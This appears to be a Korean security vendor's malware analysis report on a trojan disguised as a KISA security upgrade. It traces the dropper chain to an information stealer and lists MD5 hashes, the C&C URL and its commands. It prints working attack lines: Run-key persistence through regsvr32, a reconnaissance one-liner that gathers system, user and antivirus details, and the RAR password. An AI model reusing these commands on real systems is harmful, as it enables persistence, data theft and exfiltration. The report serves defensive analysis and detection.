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ㅇ 분석 개요 

KISA-Security-Upgrade 파일로 위장한 악성코드는 내포된 압축파일을 해제해 최종 악성코드 파일

을 드롭하여 실행한다. 다양한 업데이트 파일 등으로 유포 될 가능성이 있어 사용자는 인터넷에

서 패키지 파일 및 프로그램 다운을 주의해야 하며 확인되지 않은 프로그램의 실행을 주의해야한

다.  

 

ㅇ 악성코드 도식화 
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1. KISA-Security-Upgrade.exe 

(MD5 : C5E0A2B881A60FB3440BB78E9920DCCD, SIZE : 2,324,753)  

 

개요 :  악성코드는 실행 시 추가적인 악성코드 파일을 드롭하며 실행된다.  

ViRobot Trojan.Win.S.Agent.2324753 

 

상세분석 : 

(1) KISA 업그레이드 파일로 위장해 사용자의 실행을 유도한다.  

 
[그림 1] 실행 유도 

 

(2) 다음 경로에 파일을 생성해 추가적인 악성행위를 수행할 데이터를 작성한다.  

- 경로 : %APPDATA%\Local\Temp\is-[랜덤 5자리].tmp\[원본파일이름].tmp 

 
[그림 2] tmp 폴더 생성 

 

 
[그림 3] 작성되는 데이터 
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(3) CreateProcessW로 다음 인자를 넘겨주며 드롭파일을 실행한다.  

“%TEMP%\is-[랜덤5자리].tm\[원본파일이름].tmp” /SL5=“$1E065C,1471840,890880,[원본파일경

로]” 

[표 1] CreateProcessW로 전달되는 인자값 

 

  



       
 

                                                                  페이지 5 / 16 

하우리 보안대응센터 악성코드 상세 분석 보고서 

 

2. KISA-Security-Upgrade.tmp 

(MD5 : 607E97D2264314FD2E626CA48DD580E8, SIZE : 3,227,136)  

 

개요 :  정상 설치 프로그램으로 위장한 윈도우를 생성하며, 내포된 악성 압축 파일과 압축 해제 

프로그램을 드로해 추가적인 악성코드를 생성 및 실행한다. . 

ViRobot Trojan.Win.S.Dropper.3227136 

 

(1) 설치파일 위장을 위해 Setup 타이틀을 가진 윈도우 창을 설정한다.  

 
[그림 4] 윈도우 창 생성 

 

 
[그림 5] 생성되는 창 
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(2) 압축 해제 루틴 실행을 위해 다음 경로에 파일을 생성한다.   

 - 경로 : %TMPE%\is-[랜덤5자리].tmp\unrar.exe 

 
[그림 6] 파일 생성 

 

(3) 다음 경로에 악성코드가 포함된 RAR 파일을 생성한다. 

 - 경로 : %TMPE%\is-[랜덤5자리].tmp\plugin.rar 

 
[그림 7] RAR 파일 생성 

 

 
[그림 8] RAR 데이터 

 

(4) CreateProcessW 함수로 다음 명령어를 전달해 압축을 해제한다.  

 
[그림 9] 압축 해제 

 

%Temp%\is-96FKD.tmp\unrar.exe\" x -y -p#$%ERT345ert %Temp%\is-96FKD.tmp\plugin.rar 

[표 2] 전달되는 인자 
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(5) plugin.rar 에서 압축을 해제해 나오는 plugin.dll 파일을 실행한다.  

 
[그림 10] 드롭된 악성 plugin.dll 파일 실행 
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3. plugin.dll 

(MD5 : C447624D99292F1465B51D3EFEDA9E73, SIZE : 533,504)  

 

개요 :자동실행 등록을 한 뒤 최종 실행파일을 드롭한다. . 

ViRobot Trojan.Win.S.Agent.533504 

 

(1) CreateProcessW 함수로 파이를 통해 다음 명령어를 실행하여 레지스트리 등록을 수행한다.  

reg add hkcu\\software\\microsoft\\windows\\currentversion\\run -d \"regsvr32.exe /s /n 

/i:#$%ERT345ert C:\\ProgramData\\Adobe\\Update\\Login\\AboutUpdate.dll\" -t REG_SZ 

-v \"AdobeService\" -f 

[표 3] 자동실행 등록을 위한 레지스트리 등록 

 

키 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 

이름 AdobeService 

값 regsvr32.exe /s /n /i:#$%ERT345ert 

C:\\ProgramData\\Adobe\\Update\\Login\\AboutUpdate.dll\" -t REG_SZ -v 

\"AdobeService\ 

[표 4] 레지스트리 값 

 

(2) CreateFile 함수로 최종 악성행위를 수행하는 AboutUpdate.dll 파일을 드롭한다.  

 
[그림 11] AboutUpdate.dll 파일 생성 

 

 
[그림 12] 악성 데이터 
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4. AboutUpdate.dll 

(MD5 : 97DE7D4C5115C02D08DE760E1DAFC403, SIZE : 323,584)  

 

개요 : 정보탈취 후 텍스트 압축 루틴 및 암호화를 진행해 C&C서버로 전송한다. 이후 C&C서버

와 통신하며 추가적인 행위를 수행한다.  

ViRobot Trojan.Win.S.Agent.323584 

 

(1) DropperRegsvr32-20230324094158 이름으로 뮤택스를 생성한다.  

 
[그림 13] 뮤택스 생성 

 

(2)  자격증명을 획득해 이후 나오는 AdjustTokenPrivileges로 권한상승을 수행한다.  

 
[그림 14] 자격증명 획득 

 

(3) CreateProcessW로 파이프로 생성된 다음 명령어를 수행해 사용자의 정보를 탈취한다.  

c:\\windows\\system32\\cmd.exe /c systeminfo & powershell Get-CimInstance -Namespace 

root/SecurityCenter2 -Classname AntivirusProduct & ipconfig /all & arp -a & net user & query 

user & dir \"%programfiles%\" & dir \"%programfiles% (x86)\" & dir 

\"%programdata%\\Microsoft\\Windows\\Start Menu\\Programs\" /s dir 

\"%appdata%\\Microsoft\\Windows\\Recent\" & dir \"%userprofile%\\desktop\" /s & dir 

\"%userprofile%\\downloads\" /s & dir \"%userprofile%\\documents\" /s 

[표 5] 파이프 명령어 
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[그림 15] 수행된 결과 

 

(4) 다음 경로에 파이프로 얻은 데이터를 작성한다.  

 - 경로 : C:\ProgramData\temp\[랜덤4글자].tmp 

 
[그림 16] tmp 파일 생성 
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[그림 17] 탈취된 데이터 

 

(5) 다음 경로에 압축된 데이터를 저장할 파일을 생성해 시그니처 데이터를 작성한다. 이후 텍스

트 압축 알고리즘을 사용해 압축된 데이터를 zip 파일에 작성한다.  

- 경로 : C:\ProgramData\temp\[랜덤4글자].tmp.zip 

 
[그림 18] 시그니처 데이터 

 

 
[그림 19] 텍스트 압축 루틴 
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[그림 20] 압축된 데이터 

 

 
[그림 21] 생성된 압축 데이터 

 

(6) 이후 zip 파일을 AES 알고리즘을 사용해 암호화하여 다음 경로에 저장한다.  

- 경로 : C:\ProgramData\temp\[랜덤4글자].tmp.enc 
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[그림 22] 암호화 수행 

 

 
[그림 23] 암호화된 데이터 일부 
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(7) 암호화된 파일에 대한 XOR 연산을 수행하기 위해 XOR 다음 루틴으로 XOR 키를 생성한다.  

 
[그림 24] XOR 키 생성 

 

(8) 생성된 XOR 키를 사용해 AES 알고리즘으로 암호화 된 데이터에 XOR 연산을 수행해 다음 경

로의 파일에 작성한다.  

 - 경로 : - 경로 : C:\ProgramData\temp\[랜덤4글자].tmp.tmp 

 
[그림 25] XOR 연산 수행 
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[그림 26] tmp.tmp 파일 구조 

 

(9) 암호화가 완료되면 데이터를 C&C서버로 전송한다. 

 - C&C서버 : http://pita1[.]sportsontheweb[.]net//?m=b&p1=[볼륨 일련번호]-

[UserName]&p2=a 

 
[그림 27] 탈취된 정보 전송’ 

 

 
[그림 28] 전송되는 데이터 
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(10) C&C서버와 통신 시 URL에 특정 정보를 조합하여 명령을 수행한다. 

 - C&C서버 http://pita1[.]sportsontheweb[.]net:  

C&C서버 행위 

?m=b&p1=[볼륨 일련번호]-[UserName]&p2=[윈도우 버

전 정보]-[악성코드 버전] 

서버에 지속적으로 연결을 시도.  

?m=b&p1=[볼륨 일련번호]-[UserName]&p2=a 명령어 실행 결과를 서버로 전송. 

//?m=c&p1=[볼륨 일련번호] 서버로부터 데이터를 다운로드 

//?m=d&p1=[볼륨 일련번호] 다운로드 완료 

[표 6] C&C 서버 목록 


